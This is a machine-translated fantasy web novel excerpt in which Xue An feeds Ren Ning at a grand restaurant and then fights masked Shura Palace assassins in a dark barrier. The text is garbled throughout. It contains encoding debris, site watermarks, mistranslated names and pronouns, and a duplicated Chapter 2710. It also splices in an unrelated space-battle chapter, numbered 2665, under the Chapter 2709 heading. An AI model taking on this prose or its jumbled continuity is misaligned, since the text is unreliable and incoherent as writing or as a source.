    How could such a combination walking on the street not attract everyone��s attention,


    Ren Ning is extremely sensitive to these curious or wretched prying eyes, so the more she walks, the more she feels on pins and needles.


    Finally, she couldn''t help asking in a low voice like a mosquito.


    "I...Where are we going?"


    "Finally I am willing to speak! I thought you were dumb!" Xue An said with a smile.


    Ren Ning: ��''-��?


    "It''s alright, I won''t tease you anymore, let''s go eat something now."


    Hearing the three words eating, Ren Ning''s belly made a cooing sound, and the expression on her face changed to (?��?��?) like this.


    Xue Anwei really couldn''t help but feel a little bit of laughter, stretched out his hand and rubbed her hair, "Let��s talk, what do you want to eat!"


    "No... I don''t know! Or... eat buns."


    "Bun?" Xue An raised his eyebrows slightly.


    "Hmm!" Ren Ning nodded her head, her eyes bent into crescent shapes.


    "When my mother was still alive, I bought me a drawer of steamed buns and it was delicious!"


    Xue An was silent for a moment, "What about behind?"


    "Later, my mother died, and then my father married another aunt, which gave birth to Ren Xing!" At this point, Ren Ning''s tone became very sad.


    "I mean just a drawer of steamed buns has made you miss you so far, don''t you have to eat all these years?" Xue An couldn''t help asking.


    "It really didn''t make me full, because my father said that I am a rich daughter and cannot eat those mundane things, so I usually eat something like meal dew and drink wind soup."


    Looking at Ren Ning, whose eyes were filled with ignorance, Xue An suddenly wanted to speak bad words.


    Although I haven''t seen it before, I can only imagine the spirit of the meal and the glutinous soup just by listening to the name.


    This is generally used by people of asceticism to replenish spiritual energy during retreat, and most people will never use this as a staple food.


    After all, everyone is already very hard in practice, so how can you feel wronged about this food?


    But this silly girl has passed so many years, just like a canary in a cage, she is raised up exquisitely, in exchange for greater benefits when she grows up.


    Thinking of this, Xue An couldn''t help but patted her on the shoulder.


    "We won''t eat steamed buns this time!"


    "What do you eat then?"


    "Eat a big meal, and it''s a big meal you''ve never eaten before."


    Ren''an City is prosperous because of its geographical location and frequent businessmen.


    There are naturally countless restaurants in such a place.


    For example, the restaurant that appeared in front of Xue An and Ren Ning at this time is the premier location in Ren''an City.


    This restaurant occupies an area of ??tens of acres, and the building is a hundred meters high. There is a large plaque with three characters on it.


    Xianlaiju.


    It was the lively time at this time, and the diners were crowded with several doors. From time to time in the sky, there were bright lights flying in and out, directly in and out of the tall buildings.


    Seeing such extravagant style, Ren Ning, who had the same level of social terrorism as his brain supplement ability, couldn''t help being a little scared.


    "Or... let''s change one!"


    "Change? Why change? I think it''s pretty good here!"


    "But����."


    Before Ren Ning finished speaking, Xue An had already stepped inside.


    Seeing this, Ren Ning hurriedly followed, and then pinched Xue An''s back skirt with her hand, not even daring to lift her head.


    At the same time, a shopkeeper who was in charge of reception in front of the door has greeted him.


    "Guest, do you want to eat?"


    Xue An nodded.


    "Two people!"


    Two people?


    Xiao Er was stunned, and then she saw Ren Ning hiding behind Xue An, she couldn''t help but laugh secretly.


    This girl is really interesting, just like a **** little wife.


    But he didn''t dare to say anything, and then Xue An let him into a private room on the third floor.


    "Guardian, what do you want to order! We can basically do as long as you can say it."


    Xue An has never wronged himself for things like eating, not to mention that at this moment, he holds the storage necklace that he snatched from Ren Xing, naturally more emboldened.


    "Then start with your best!"


    Dian Xiao Er Yi was stunned, "You mean all up?"


    "Of course it is all up, I can stop when I say no more!"


    Dian Xiaoer was secretly surprised, couldn''t help but look at the two Xue An, and found that they were all like dragons and phoenixes among them, and couldn''t help but think to himself.


    Is this the noble son who eloped from which rich family?


    In a short time, the shopkeeper also made up an emotional drama.


    Of course, he didn''t dare to disclose these thoughts, so he just nodded and promised after a while, and then went down to prepare.


    soon.


    All kinds of rare dishes came up like running water, and a table was filled in an instant.


    Not to mention eating, just smelling the rich aroma is enough to make the index finger move.


    Ren Ning''s eyes are already straight.


    Xue An lightly said: "Eat!"


    After all, he looked at Ren Ning on the opposite side quite amusingly.


    He doesn''t believe that Lemon can wear a veil while eating.


    "This... can I eat all of these?" Ren Ning pointed to the dishes on the table in disbelief.


    "certainly!"


    Ren Ning took a deep breath and then she took off her veil without hesitation, took up her chopsticks and feasted on it.


    Xue An was slightly startled.


    Because after taking off the veil, Ren Ning''s lower half of her face is still shrouded in a faint mist.


    Although the mist is thin, even I can''t see through it.


    The power of rules?


    Xue An''s mind flashed these four words, but did not ask, just smiled and watched Ren Ning eat.


    Plates of dishes began to decrease at a speed visible to the naked eye. I don��t know how this seemingly weak little girl can hold her stomach so much.


    After a while, the table full of dishes was swept away.


    The shop Xiaoer who was waiting on the side looked stupid.


    Until Xue An nodded at him, "Go on!"


    The second person in this shop just came back to his senses, and then nodded hurriedly.


    "Yes!"


    In a blink of an eye, the dishes began to be delivered up again like flowing water.


    Ren Ning let out a sigh full of happiness, "It smells so good! Hey, why don''t you eat it?"


    Xue An smiled, and Xuan even picked up his chopsticks.


    "Well, eat."


    (end of this chapter)

 Chapter 2708： Assassination of Shura in the street late at night

    Chapter 2708 Assassination On The Streets Late At Night


    After completely eliminating the six big tables of dishes, the two of them stopped the chopsticks in the horrified eyes of Xiao Er in the shop.


    Ren Ning sighed with infinite satisfaction, "This is the first time in my life that I have eaten so full! Uh... so comfortable!"


    Xue An smiled faintly, "Don''t worry, follow me in the future, you will be full with every meal!"


    "Hmm!" Ren Ning nodded like garlic.


    I don''t know if it is an illusion or what is going on. Xue An found that with Ren Ning''s nod, the mist on her face seemed to be thinner.


    I can faintly see the outline of the facial features below.


    However, Xue An didn''t say anything about it, just smiled faintly, then paid for the meal, turned around and took Ren Ning down the restaurant.


    At this moment, the streets are getting more and more lively. After Ren Ning has eaten enough, she seems to be more courageous, and asks in front of Xue An softly.


    "Where shall we go next?"


    "Naturally find a place to live first, or else sleep on the street?"


    Hearing the word stop, Ren Ning''s face turned red again, and she lowered her head and whispered: "Yeah!"


    Xue An didn''t notice these, but wandered down the street.


    Ren Ning followed step by step, and at the same time started crazy brain supplements in her mind.


    My god!


    He actually wants to take me to the store.


    According to the description in the novel, we will definitely encounter the dilemma that there is only one room left when we stay in the store, and then he will look at himself very embarrassedly and ask himself what to do!


    At this time, there will be pouring rain outside, the kind that can''t walk at all.


    In desperation, he had no choice but to acquiesce, and then followed him into the room.


    At the beginning, he will be very gentleman, and even take the initiative to give up the only big bed and lay on the floor by himself.


    But in the middle of the night, he will crawl into bed quietly...


    My god!


    What can I do, I''m ashamed to think about it! Do you want to reject him now?


    But he just invited himself to a sumptuous dinner. According to the routine in the novel, isn''t this the equivalent of acquiescence?


    Um!


    He must have thought so in his heart, no, I have to tell him that I am not that kind of casual woman.


    Although he saved himself and invited himself to eat, he still couldn''t hand over himself so easily.


    But how do you refuse?


    directly said that it would definitely annoy him. What if he is unhappy and throws himself here?


    Ren Ning fell into distress.


    Xue An was unaware of the overwhelming thoughts in her heart, and even bought some desserts after dinner on the street and handed them to her.


    "Eat and play!"


    Ren Ning took these desserts and suddenly gritted her teeth.


    "Hey��."


    "What''s wrong?" Xue An looked back.


    Ren Ning suddenly shuddered again, but she still resisted the panic in her heart and trembled.


    "It won''t rain tonight!"


    After that, she walked away quickly like a frightened bird.


    "Huh?" Xue An stood in place, looked up at the sky full of stars, a question mark in his forehead.


    And at the same moment, a carriage drove slowly outside Ren''an City.


    "Tuan''er, where is the front?" A question came from the carriage.


    The car curtain opened, the little maid poked her head out again and looked at it for a moment, then took out a map from her pocket and gestured for a long time before finally speaking.


    "Miss, Ren''an City is in front of you. After you get here, walk forward for a daylight view and you will almost reach Ling''an City!"


    "Um!"


    "Miss, it''s getting late at the moment, should we take a break and eat something in this city of Ren''an?"


    "No, it''s better not to have extra branches along the way, and pass through the city!"


    "Oh!"


    The little girl answered with a pouting mouth.


    The Ren''an City in front is brightly lit and extremely lively, which has a fatal attraction for Nian Fang Cardamom.


    Therefore, when I heard that the lady didn''t want to stay but went straight through the city, I couldn''t help but feel a little disappointed.


    But she didn''t dare to say anything, so she fiddled with the rein a few more times, and then she retracted into the curtain.


    This seemingly low-key and simple carriage is really unique.


    There are many space-time magic circles carved on the car body, which separates this small space forcibly.


    In the front is the residence of the little maid, and behind it is a room the size of a room.


    this moment.


    On the bed in this room lies a wonderful person.


    This woman is dressed in white gauze, and the gauze beside the bed obscures her face, but the looming curve of the body shows that she is definitely a beautiful woman.


    At this moment, the woman is whispering to herself while holding a volume of new poems from the Qisi Poetry Society.


    "This year''s literary conference, the local branches have already settled, and there are some excellent works, but compared with previous years, they are still a little worse. I don''t know that this spiritual and peaceful society will not give me a surprise!"


    Speaking of this, she suddenly laughed at herself.


    "I am too optimistic, even those Yucheng with the prosperous style can''t do it, how many surprises can this small Ling''an Region have?"


    After that, she put down the selection of poems in her hand and sighed faintly.


    At this time, the carriage drove along and entered the Ren''an city through the city gate.


    At the same time, Xue An and Ren Ning also walked through the bustling main street to a slightly deserted street.


    Although it is deserted, there are many inns here and it is close to the city gate. It is very convenient to enter and exit, so the environment is very good.


    Just as Xue An took Ren Ning to the first inn and was preparing to stay in, suddenly, he stopped.


    Ren Ning who followed closely behind her was caught off guard and slammed directly on Xue An''s back.


    "Ah!" Ren Ning screamed, just about to ask what happened.


    At this moment, Xue An whispered: "Stay behind me later, don''t go anywhere!"


    Ren Ning trembled all over, then nodded as if pounding garlic, she could not even speak. UU reading


    Because at this moment, she also felt the strangeness around her.


    First of all, static!


    Quiet to the extreme, the kind of quiet that is disturbing.


    Although this street was a bit deserted before, there was noise, and it would never be as quiet as it is now.


    and then Ren Ning clearly remembers to walk a few steps forward and there is a brightly lit inn.


    But at this moment, the inn has disappeared.


    And not only this inn, the whole street has disappeared.


    There is only a faint candle burning that seems to be extinguished at any time.


    These weird and gloomy scenes scared Ren Ning''s face pale.


    stood behind him obediently without asking Xue An at all, and didn''t dare to move.


    At the same time, Xue An faced the gloomy darkness, the corners of his mouth slowly raised, and a cold and solemn smile was outlined.


    "Since they are all here, why haven''t they shown up yet?"


    As soon as ����''s words fell, the darkness began to surging, and at the same time a weird laugh like a ghost cried from within.


    "Boy, I have to say that you are so courageous. If you offend our Shura Temple, you can still be so calm!"


    (end of this chapter)

 Chapter 2709： Fierce fight

    Chapter 2665 fierce battle on the battlefield


    The light from those light spots illuminates the face of everyone present.


    Even Fox Night, who has always been optimistic, is not as easy as it used to be at this moment.


    On the contrary, Wei Rulan was calm and calm, without any hesitation, and directly pressed the launch button.


    In an instant, on the planet where the Santis headquarters was located, the tall buildings suddenly split from the middle, revealing the deep silo below.


    Immediately afterwards, one after another giant missiles slowly rose.


    Suddenly.


    Their tails burned with blazing light, and then they rose into the air at a terrifying speed, and blasted straight toward the battlefield.


    The speed of these missiles was extremely fast, but in the blink of an eye they crossed the Sainttis fleet''s line of defense, and then bombarded in this boundless ocean of light spots.


    Boom boom boom!


    Accompanied by a huge shock coming from the void, the originally dense light spots on the monitoring screen appeared a circle of blank space, and then quickly spread and connected together.


    However, looking at the scene of the tea, there is no light spot on the monitoring screen.


    But the command room is silent as before.


    Because everyone knows that this battle will never end.


    Hu Ye grinned and muttered in a low voice, "I have already attacked two waves. Will it be easier after this time?"


    Zhang Tianyou on the side shook his head when he heard the words, "Impossible, I know this star ring too well. Since it shots, it proves that the benefits here are worth any sacrifice."


    "So these two attacks are just a prelude, the real test is yet to come!"


    really.


    As soon as his voice fell, countless light spots appeared on the screen that had just gone blank.


    And rushed towards the Santis headquarters at an even faster speed than the previous two times.


    "You are really a crow''s mouth!"


    Hu Ye complained, but his subordinates didn''t have the slightest ambiguity and turned around and rushed out of the command room.


    At this moment, his heart is calm.


    He knew very well that this battle was crucial, because it was about whether his sister could return safely.


    In particular, the starring behaves so crazy, which just shows that Xue An is on the right path.


    Therefore, Hu Ye didn''t hesitate at all, and rushed towards the battlefield.


    He usually smiles hippiely, and he doesn''t seem to be angry anyhow.


    But once the matter concerns his sister, he will instantly transform into a cold-blooded killer, tearing up any existence that dares to hinder all of this.


    Just as he was ambitious and flew into the void, a slightly immature voice came from behind him.


    "Wait for me, I''ll go with you!"


    Hu Ye looked back, and it was Xiao Sha and Zhang Xiaoyu who were talking.


    "What are you going to do?"


    "Of course it''s going to kill the enemy! Our boss can say that these robots are so arrogant, obviously they didn''t put us in the eye, so we must teach them a severe lesson!" Zhang Xiaoyu waved his tentacles, very excited. Words.


    "Go into battle to kill the enemy? Just rely on you two?" Hu Ye was full of disbelief.


    Xiao Sha raised her chin proudly, "Why? Don''t believe it? During this period of time, the master has given me a lot of exercises. With diligent practice, I consciously improve my cultivation. Of course it is not a problem to deal with a group of robots. ."


    "Yes, it''s the same with me. You can see that my tentacles can be twisted like this now. They must be amazing!"


    The tentacles on the octopus waved back and forth, forming a Chinese knot shape, with a proud face.


    Fox night: "..."


    "Well, since you are willing to contribute, then follow up!"


    With that, Hu Ye stopped delaying, and rushed towards the depths of the void.


    The three figures quickly rushed across the line of defense formed by the fleet and came to the edge of the battlefield.


    Then the scene they saw made them all look at it.


    I saw a mess in the void, with countless broken mechanical parts scattered in it, forming a doomsday scene full of cyberpunk flavor.


    But even in such a scene, one after another mechanical soldiers jumped out of it one after another, rushing towards the fleet defense line.


    These mechanical soldiers were tall and large, and they were running extremely fast, moving very flexibly amidst the rain of bullets sent by the Santis fleet.


    Although most of them fell midway in the end, from time to time, a few slippery fish rushed to the front of the fleet, and then launched fierce attacks.


    Boom boom boom!


    With a loud noise, some smaller ships with weaker defenses were easily destroyed.


    Even those large warships are not immune, because when these mechanical soldiers see that a simple attack cannot break the defenses of these large warships, they will directly explode, tearing apart the armor of these large warships with their bodies.


    Linghuye was moved by this tragic scene, but he quickly calmed down and rushed forward without saying a word.


    The nine foxtails opened completely in the middle of the journey, and then wrapped up all the mechanical soldiers along the way, and slammed.


    Boom boom boom!


    With a loud noise, these mechanical soldiers exploded in the air like fireworks.


    However, the speed of Hu Ye''s advance was extremely fast, which also made the explosion sound behind him.


    Xiaosha and Zhang Xiaoyu looked at each other, and then rushed out in the opposite direction.


    Xiao Sha roared, revealing the original form of the body, and the huge dragon tail smashed the rushing mechanical soldiers to pieces.


    As for Zhang Xiaoyu, she saw her tentacles grow to a length of several thousand meters, pulling on the limbs of a mechanical soldier extremely flexibly, and then pulled hard.


    Click!


    This mechanical soldier was abruptly torn off its limbs, and then its electronic eyes glowed with red light, which was a sign that it was about to explode.


    But the next second, another tentacle rushed out and pierced its chest directly.


    boom!


    The energy core of this mechanical soldier was pierced, and then its electronic eyes quickly dimmed and died.


    Zhang Xiaoyu was complacent about this, and shouted at Xiaosha: "Boss, UU reading sees me Niu X?"


    Xiao Sha said coldly: "Don''t look!"


    Zhang Xiaoyu: "..."


    With the joint efforts of the three of them, all these mechanical soldiers on the battlefield were quickly wiped out.


    The three reunited, and then Huye let out a sigh of relief, applauding: "Good job!"


    Xiaosha smiled without saying a word.


    Only Zhang Xiaoyu shouted excitedly: "It''s enjoyable, it''s so enjoyable, but unfortunately there are too few tin cans. I haven''t killed enough. There will be no more!"


    As soon as the voice fell, the mechanical parts all over the void suddenly began to converge, and then, these broken mechanical parts were quickly assembled as if they were spiritual.


    In the blink of an eye, a mechanical soldier who was only taller than before appeared in front of the three.


    Zhang Xiaoyu who watched this scene was stunned.


    "I wipe, can I still play like this?"


    (End of this chapter)

 Chapter 2710： Honey, welcome to the **** of long tongue...

    Chapter 2710 Dear, Welcome To Hell With Long Tongue


    "not so good!"


    The words fell, Xue An rose into the sky like a cannonball, and blasted the green-faced man with a punch.


    This is no fancy punch, there is just endless power and destruction.


    can face such a punch, the green-faced man didn''t even hide, but stood still and smiled.


    He grinned sharply until the fist wind had arrived.


    This smile even reached the back of his ears with his mask, and his mouth full of white teeth was exposed.


    "Good job!"


    After ���� said, he suddenly opened his mouth, which immediately opened up like a big mouth, even occupying his entire cheek.


    Immediately afterwards, a long scarlet tongue ejected from the mouth of the blood basin, and it just hit the fist that rushed forward.


    There was no sound, only countless splashes of water aroused.


    Then Xue An hurried back, and at the same time a strange look appeared on his face.


    is disgusting, but more solemn.


    He just felt that his punch just now seemed to be hammered on a wall of flesh, smooth and sticky.


    Even if Xue An''s heart is as solid as a stone, his hairs are standing straight all over his body.


    Because this feeling is really disgusting.


    Not only did all the power that he exploded without any effort, but was swallowed and absorbed by this weird feeling.


    Not only that, Xue An also felt a tingling pain from his fist.


    You must know that Xue An hasn''t felt pain for a long time.


    This made him make a decisive decision and immediately chose to retreat.


    When he stood still, black smoke rose from his fist, and the stench of saliva was still corroding the skin of his fist.


    Ren Ning, who had been clinging to Xue An''s back, couldn''t help but poked her head out and exclaimed, "You are injured!"


    "fine!"


    Xue An''s face sank like water, his palms opened and then he shook his hand sharply.


    There was a boom, and the flames rose from the fist, evaporating all the saliva.


    It''s just that the corroded wounds don''t heal so quickly. Some deep ones can even see the bones inside.


    The green-faced man gave a weird smile when he saw it, then his long scarlet tongue retracted into his mouth and licked his lips contentedly.


    "It''s really beautiful, it''s still a rare body of mind, which makes me want to get you in my bag even more!"


    Xue An was unmoved, but looked at the green-faced man coldly.


    "Yes, yes, it''s this kind of indifference with a little angry expression, ah~ I really want to take you down now!" The blue-faced man murmured in a nearly groaning tone.


    If you look closer at this time, you will definitely find that the corners of Xue An''s eyes are beating.


    That is a sign of extreme anger.


    But the more at this time, Xue An''s performance became calmer.


    saw him take a deep breath, "Ren Ning!"


    "Um?"


    "Do you believe me?"


    Ren Ning nodded immediately, "Believe!"


    "Well, open your heart now, don''t have any defense against me!"


    Ren Ning lay on Xue An''s back, already dizzy by Xue An''s body temperature and the strong youthful breath.


    So after hearing Xue An��s words, she read countless novels and is proficient in various routines, especially Ren Ning, who is good at brain-filling various love plots, was only slightly surprised.


    What does he want to do?


    Do you want to woo me at this moment of life and death?


    Then should I refuse her?


    But these thoughts disappeared without a trace, because at this moment, her body had already made a decision.


    I saw her eyes suddenly disappear, and she opened her heart completely to Xue An.


    But then, all the pictures in her fantasy did not appear at all.


    After she opened her heart, Xue An immediately occupied her mind, and immediately...he included it in her own sea of ??knowledge space.


    After finishing all this, Xue An slowly raised his fists, his whole body was like a fire, and a little brilliance was faintly burning in his eyes.


    "kill!"


    With a cold sigh, Xue An directly cleaved the darkness in front of him before the blue-faced man.


    The green-faced man laughed, "Come well, fight! Use all of your strength! The more you struggle, the more fun I will play!"


    In words, Xue An has already blasted countless punches.


    , without exception, was easily avoided by the green-faced man.


    But Xue An was not discouraged at all. On the contrary, the light in his eyes became more blazing, and at the same time, the fist became more frightening.


    "Yes, yes, that''s how it feels, come, use all your strength to ravage me! See if it is your fist or my tongue!"


    The green-faced man spoke almost vigorously, and then grinned again, his scarlet tongue was like a long whip, tangling with Xue An''s fist.


    The attack of the two is almost impossible to see.


    But very quickly, the two figures separated at once.


    Xue An withdrew hundreds of feet away and stood in the void with black smoke in his hands.


    And the green-faced man was waving his long tongue, and Jie Jie smiled strangely: "Fight, why didn''t you fight?"


    Xue An''s expression was indifferent, wisps of sword aura emerged, and then surged down around his arms.


    In a short time, the skin on his hands was gone, and they were turned into bones.


    Despite this, Xue An didn''t even blink his eyelids, but coldly said: "I''m really curious!"


    "What are you curious about?"


    "How do you talk when you spit out this disgusting tongue?"


    "Hahahahahaha, do you think I have only one tongue like this? You are wrong, I have countless tongues like this!"


    The words are over, this long scarlet tongue is easy to split quickly in the air.


    In the blink of an eye, countless long tongues criss-crossed in the darkness, exuding a sticky and disgusting luster.


    "Honey, welcome to the **** of long tongue!" The green-faced man said politely. UU reading


    And the white-faced man standing behind him looked at Xue An with the same look in the eyes of a dead person.


    Because it is different from the dark enchantment he has mastered, this long tongue **** is one of the ten secret skills of the Shura Palace.


    Through this secret technique, the Lord of the Three Halls has not known how many amazing and stunning people have been strangled over the years.


    Obviously, this white-clothed boy cannot escape the disaster.


    But at this moment, Xue An also laughed.


    There is not the slightest fear in the smile, but it is full of fiery fighting spirit.


    "I will pull out your tongue one by one and weave it into a rope to hang you! Do you believe it?"


    "Listen and respect, dear!" The green-faced man laughed wildly.


    But in the next second, his laughter stopped abruptly, because at this moment, Xue An''s clothes burst open, revealing the lifelike full-back tattoo below.


    "This is..." The green-faced man did not expect to see this picture in Xue An''s body that only appeared in the deepest nightmare, and he was frightened.


    The sound of horse hooves suddenly crushed the silence in the barrier, and then listened to the voice of a charming female.


    "Ah, miss, so many tongues!"


    (end of this chapter)

 Chapter 2710： Honey, welcome to the **** of long tongue

    Chapter 2710 Dear, Welcome To Hell With Long Tongue


    "not so good!"


    The words fell, Xue An rose into the sky like a cannonball, and blasted the green-faced man with a punch.


    This is no fancy punch, there is just endless power and destruction.


    can face such a punch, the green-faced man didn''t even hide, but stood still and smiled.


    He grinned sharply until the fist wind had arrived.


    This smile even reached the back of his ears with his mask, and his mouth full of white teeth was exposed.


    "Good job!"


    After ���� said, he suddenly opened his mouth, which immediately opened up like a big mouth, even occupying his entire cheek.


    Immediately afterwards, a long scarlet tongue ejected from the mouth of the blood basin, and it just hit the fist that rushed forward.


    There was no sound, only countless splashes of water aroused.


    Then Xue An hurried back, and at the same time a strange look appeared on his face.


    is disgusting, but more solemn.


    He just felt that his punch just now seemed to be hammered on a wall of flesh, smooth and sticky.


    Even if Xue An''s heart is as solid as a stone, his hairs are standing straight all over his body.


    Because this feeling is really disgusting.


    Not only did all the power that he exploded without any effort, but was swallowed and absorbed by this weird feeling.


    Not only that, Xue An also felt a tingling pain from his fist.


    You must know that Xue An hasn''t felt pain for a long time.


    This made him make a decisive decision and immediately chose to retreat.


    When he stood still, black smoke rose from his fist, and the stench of saliva was still corroding the skin of his fist.


    Ren Ning, who had been clinging to Xue An''s back, couldn''t help but poked her head out and exclaimed, "You are injured!"


    "fine!"


    Xue An''s face sank like water, his palms opened and then he shook his hand sharply.


    There was a boom, and the flames rose from the fist, evaporating all the saliva.


    It''s just that the corroded wounds don''t heal so quickly. Some deep ones can even see the bones inside.


    The green-faced man gave a weird smile when he saw it, then his long scarlet tongue retracted into his mouth and licked his lips contentedly.


    "It''s really beautiful, it''s still a rare body of mind, which makes me want to get you in my bag even more!"


    Xue An was unmoved, but looked at the green-faced man coldly.


    "Yes, yes, it''s this kind of indifference with a little angry expression, ah~ I really want to take you down now!" The blue-faced man murmured in a nearly groaning tone.


    If you look closer at this time, you will definitely find that the corners of Xue An''s eyes are beating.


    That is a sign of extreme anger.


    But the more at this time, Xue An''s performance became calmer.


    saw him take a deep breath, "Ren Ning!"


    "Um?"


    "Do you believe me?"


    Ren Ning nodded immediately, "Believe!"


    "Well, open your heart now, don''t have any defense against me!"


    Ren Ning lay on Xue An''s back, already dizzy by Xue An''s body temperature and the strong youthful breath.


    So after hearing Xue An��s words, she read countless novels and is proficient in various routines, especially Ren Ning, who is good at brain-filling various love plots, was only slightly surprised.


    What does he want to do?


    Do you want to woo me at this moment of life and death?


    Then should I refuse her?


    But these thoughts disappeared without a trace, because at this moment, her body had already made a decision.


    I saw her eyes suddenly disappear, and she opened her heart completely to Xue An.


    But then, all the pictures in her fantasy did not appear at all.


    After she opened her heart, Xue An immediately occupied her mind, and immediately...he included it in her own sea of ??knowledge space.


    After finishing all this, Xue An slowly raised his fists, his whole body was like a fire, and a little brilliance was faintly burning in his eyes.


    "kill!"


    With a cold sigh, Xue An directly cleaved the darkness in front of him before the blue-faced man.


    The green-faced man laughed, "Come well, fight! Use all of your strength! The more you struggle, the more fun I will play!"


    In words, Xue An has already blasted countless punches.


    , without exception, was easily avoided by the green-faced man.


    But Xue An was not discouraged at all. On the contrary, the light in his eyes became more blazing, and at the same time, the fist became more frightening.


    "Yes, yes, that''s how it feels. Come, use all your strength to ravage me! See if it is your fist or my tongue!"


    The green-faced man spoke almost vigorously, and then grinned again, his scarlet tongue was like a long whip swinging, fighting with Xue An''s fist.


    The attack of the two is almost impossible to see.


    But very quickly, the two figures separated at once.


    Xue An withdrew hundreds of feet away and stood in the void with black smoke in his hands.


    And the green-faced man was waving his long tongue, and Jie Jie smiled strangely: "Fight, why didn''t you fight?"


    Xue An''s expression was indifferent, wisps of sword aura emerged, and then surged down around his arms.


    In a short time, the skin on his hands was gone, and they were turned into bones.


    Despite this, Xue An didn''t even blink his eyelids, but coldly said: "I''m really curious!"


    "What are you curious about?"


    "How do you talk when you spit out this disgusting tongue?"


    "Hahahahahaha, do you think I have only one tongue like this? You are wrong, I have countless tongues like this!"


    The words are over, this long scarlet tongue is easy to split quickly in the air.


    In the blink of an eye, countless long tongues criss-crossed in the darkness, exuding a sticky and disgusting luster.


    "Dear, welcome to Long Tongue Hell!" The green-faced man said politely and the white-faced man standing behind him looked at Xue An with the same eyes as the dead man.


    Because it is different from the dark enchantment he has mastered, this long tongue **** is one of the ten secret skills of the Shura Hall.


    Through this secret technique, the Lord of the Three Halls has never known how many amazing and stunning people have been strangled over the years.


    Obviously, this white-clothed boy cannot escape the disaster.


    But at this moment, Xue An also laughed.


    There is no fear in the smile, but it is full of fiery fighting spirit.


    "I will pull out your tongue one by one and weave it into a rope to hang you! Do you believe it?"


    "Listen and respect, dear!" The green-faced man laughed wildly.


    But in the next second, his laughter stopped abruptly, because at this moment, Xue An''s clothes burst open, revealing the lifelike full-back tattoo below.


    "This is..." The green-faced man did not expect to see this picture that only appears in the deepest nightmare in Xue An when he dreamed, and he was frightened.


    The sound of horse hooves suddenly crushed the silence in the enchantment, and then listened to the voice of a charming female.


    "Ah, miss, so many tongues!"


    (End of this chapter)

 Chapter 2711： 1 enemy 2

    Chapter 2711 One Against Two


    Hearing this voice, the green-faced man suddenly turned his head, and saw a low-key and simple carriage broke into this enchantment at some point.


    And at the moment the car curtain is opened, a beautiful little maid is looking out with a constricted head.


    It wasn''t until the blue-faced man saw that the little maid screamed, and then she retracted into the car curtain and stopped showing her head.


    "What''s going on? Didn''t you block the neighborhood? If this leaks news of the Asura Palace, you can wait for punishment!" the green-faced man roared.


    The white-faced man shuddered and said loudly, "I don''t know, I will clean up this guy who broke in now!"


    In fact, the white-faced man is full of doubts at this moment.


    Because he did block all the nearby blocks, the real block has been isolated under the cover of the dark enchantment.


    That is to say, even if there are carriages or pedestrians passing by, they will only pass through the real blocks and will not come into this dark enchantment.


    But the reality is that this carriage came here without even knowing it.


    This made his heart both frightened and angry, especially in front of the green-faced man, which is virtually equivalent to hitting himself in the face.


    If you can''t wash away this shame, then don''t even think about raising your head in front of him in the future.


    What''s more, this matter really needs to be dealt with, otherwise it will be troublesome if you reveal your whereabouts.


    Thinking of this, countless vines suddenly grew around the white-faced man, and then he rushed in the direction of the carriage while holding him.


    Not only that, in the process of his impact, countless vines appeared out of thin air, already surrounding the carriage.


    Seeing getting closer and closer to the carriage, a cold brilliance flashed in the eyes of the white-faced man.


    And there is still silence in this carriage, even the little maid before that has lost her voice, as if she had been frightened and stupid.


    But at the moment when he was about to rush to the carriage, a fist suddenly appeared from his side and blasted at an extremely fast speed.


    The white-faced man never dreamed that he would have such a hand. When he was caught off guard, he could only make a strange scream, and then all the vines around his body rushed to block him in front of him, trying to block the punch.


    ��!


    There was a loud and dull noise, all the vines were instantly shattered, and at the same time the white-faced man flew upside down like a kite with a broken line, and vomited a big mouthful of blood while in the air.


    The darkness quivered around him, and began to flicker indefinitely.


    That is a sign that this dark enchantment is already unstable.


    At the same time, Xue An''s figure slowly emerged in the darkness.


    At this time, he has a pair of bright eyes like flames.


    But what is more striking is the tattoo on his naked upper body.


    I saw the tattoos of the Xingtian tribes who were already lifelike. At this moment, they showed a strange brilliance, as if they could jump off him in the next moment.


    A majestic to the substantive monstrous warfare was condensed and formed behind Xue An, turning into a huge headless giant.


    The white-faced man wiped the blood from the corners of his mouth, and whispered in horror: "The Great Sage of Bone...How is it possible, how can this guy have the inheritance of the Great Sage of Bone?"


    The blue-faced man''s complexion is also extremely solemn.


    He knew that this assassination had completely failed.


    Because the boy in front of him is by no means ordinary, this can be seen from the tattoo on his body.


    That is obviously the inheritance of the complete White Bone Great Sage.


    But what shocked him even more was Xue An''s intent and power that had been growing wildly.


    is like fighting against the sky and enmity against the earth. It is the kind of blatant and unreserved fierce and violent.


    In this case, Xue An''s strength has more than doubled.


    At least before, he was able to face Xue An''s green-faced man in time. At this moment, he felt a suffocating pressure from him.


    In this case, the green-faced man immediately made a decision, that is to withdraw.


    Even if I can win this young man, it will be a hard fight, and I may even be seriously injured.


    And that is tantamount to suicide for him walking in the dark.


    So after weighing the pros and cons, he immediately began to retreat.


    As for the white-faced man, he tried to escape here even after seeing Xue An''s inheritance.


    Before the two of them could walk away, Xue An slowly raised his eyes and raised the corners of his mouth, creating a cold and crazy smile.


    "I just want to leave now, don��t you think it��s too late?"


    After all, Xue An��s fighting spirit skyrocketed again, and immediately replaced the previous darkness, covering several blocks around him.


    In this case, the two who wanted to escape into the void naturally touched their noses.


    The green-faced man''s complexion gradually became gloomy, and then turned around to stare at Xue An.


    "Young man, I just thought you were arrogant before, but now I know that you are so crazy, why? Are you trying to fight one against two?"


    "Why? Can''t it? After all, you started this game first, and now you want to end it without even saying hello, don''t you look down on people too much?"


    Xue An said slowly, every time he said a word, the sashimi on his body would brighten up, and in the end it was so fierce that one would not dare to look directly at it.


    "He is delaying time, don''t give him a chance!" The white-faced man saw the clues and couldn''t help shouting.


    The blue-faced man naturally saw it too, and couldn''t help gritting his teeth secretly.


    It��s up to now It��s no good if you don��t want to do it, so he laughed strangely.


    "You forced me!"


    said, his head suddenly split from his mouth, and then the upper part of his head opened like a lid.


    Countless long tongues gushing out from the scarlet cavity, swinging towards Xue An.


    As for the white-faced man, although he was injured, he understood that it was the time of life and death, so he didn''t dare to keep any more, his whole body suddenly scattered, turning into countless vines and attacking Xue An.


    These crazy and fierce battle scenes caused a small exclamation from the carriage.


    It''s just that there is not much fear in this exclaim, but full of curiosity.


    Then the little maid lowered her voice and asked, "Miss, who will win!"


    "do not know!"


    "I hope this little brother will win, because he just came here to save us! And he looks good, and his tattoos are pretty cool! In contrast, these two wear masks. The guy is ugly!"


    The little maid talked slyly, as if she was a serious face-controller.


